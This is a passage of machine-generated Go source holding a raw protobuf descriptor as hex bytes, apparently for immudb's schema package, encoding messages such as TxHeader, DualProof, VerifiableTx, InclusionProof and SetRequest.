0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06,\n\t0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d,\n\t0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x08, 0x20,\n\t0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65,\n\t0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45,\n\t0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73,\n\t0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74,\n\t0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x23,\n\t0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x70,\n\t0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65,\n\t0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e,\n\t0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04,\n\t0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, 0x09, 0x53, 0x69, 0x67, 0x6e, 0x61,\n\t0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65,\n\t0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b,\n\t0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65,\n\t0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a,\n\t0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x69, 0x64, 0x12, 0x18, 0x0a,\n\t0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07,\n\t0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72,\n\t0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x6e, 0x65, 0x6e, 0x74, 0x72,\n\t0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52,\n\t0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x18, 0x06, 0x20,\n\t0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x62,\n\t0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x62, 0x6c, 0x52,\n\t0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08,\n\t0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a,\n\t0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,\n\t0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61,\n\t0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61,\n\t0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54,\n\t0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63,\n\t0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72,\n\t0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x22, 0x63,\n\t0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a,\n\t0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a,\n\t0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28,\n\t0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a,\n\t0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65,\n\t0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64,\n\t0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69,\n\t0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01,\n\t0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f,\n\t0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73,\n\t0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32,\n\t0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f,\n\t0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22,\n\t0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a,\n\t0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e,\n\t0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f,\n\t0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52,\n\t0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12,\n\t0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f,\n\t0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69,\n\t0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69,\n\t0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28,\n\t0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72,\n\t0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54,\n\t0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67,\n\t0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73,\n\t0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18,\n\t0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75,\n\t0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e,\n\t0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c,\n\t0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65,\n\t0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61,\n\t0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63,\n\t0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64,\n\t0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xe3, 0x01, 0x0a, 0x0b, 0x44,\n\t0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f,\n\t0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75,\n\t0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74,\n\t0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61,\n\t0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e,\n\t0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03,\n\t0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50,\n\t0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65,\n\t0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10,\n\t0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66,\n\t0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65,\n\t0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72,\n\t0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72,\n\t0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72,\n\t0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, 0x76,\n\t0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e,\n\t0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x31,\n\t0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b,\n\t0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65,\n\t0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a,\n\t0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12,\n\t0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52,\n\t0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x18,\n\t0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, 0x6d,\n\t0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56,\n\t0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61,\n\t0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28,\n\t0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d,\n\t0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74,\n\t0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65,\n\t0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e,\n\t0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c,\n\t0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01,\n\t0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65,\n\t0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c,\n\t0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a,\n\t0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a,\n\t0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78,\n\t0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64,\n\t0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e,\n\t0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e,\n\t0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65,\n\t0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54,\n\t0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32,\n\t0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72,\n\t0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72,\n\t0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66,\n\t0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73,\n\t0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72,\n\t0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05,\n\t0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72,\n\t0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69,\n\t0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56,\n\t0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72,\n\t0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63,\n\t0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66,\n\t0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66,\n\t0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f,\n\t0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05,\n\t0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05,\n\t0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72,\n\t0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b,\n\t0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06,\n\t0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f,\n\t0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 